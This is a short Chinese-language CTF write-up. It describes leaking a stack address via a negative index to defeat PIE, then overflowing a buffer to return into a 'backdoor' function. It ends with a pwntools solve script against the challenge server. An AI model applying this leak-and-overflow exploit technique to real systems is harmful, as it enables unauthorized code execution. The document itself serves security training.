> [name=Curious] ## 思路和解法 先把 `chal` 丟進 IDA 看看  可以發現 `chal` 會讓我們讀出 stack 上任意的 8 個 bytes 然後 BOF。接著 `chal` 還有一個函數  因為 `chal` 有開 PIE,所以我們可以利用 stack 上的任意讀來讀出殘留的 address(以 codebase 為 base 的 address)來算出 codebase,接著 BOF 把 return address 放到 backdoor 就結束了。 用 `gdb` 看一下相關的 asm 和 stack   可以我們需要輸入 `-5` 還拿到 `main` 的 address,接著就是算出 offset 然後 return 到 `backdoor` 了。 Solve Script : ```python= from pwn import * # r = process('./chal') r = remote('lotuxctf.com', 10006) r.sendlineafter(b'> ', b'-5') codebase = int(r.recvline().strip()) - 0x0011e8 info(f'codebase : {hex(codebase)}') backdoor = codebase + 0x0011ce r.sendlineafter(b'> ', b'a' * 0x28 + p64(backdoor)) r.interactive() ``` {%hackmd M1bgOPoiQbmM0JRHWaYA1g %}
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up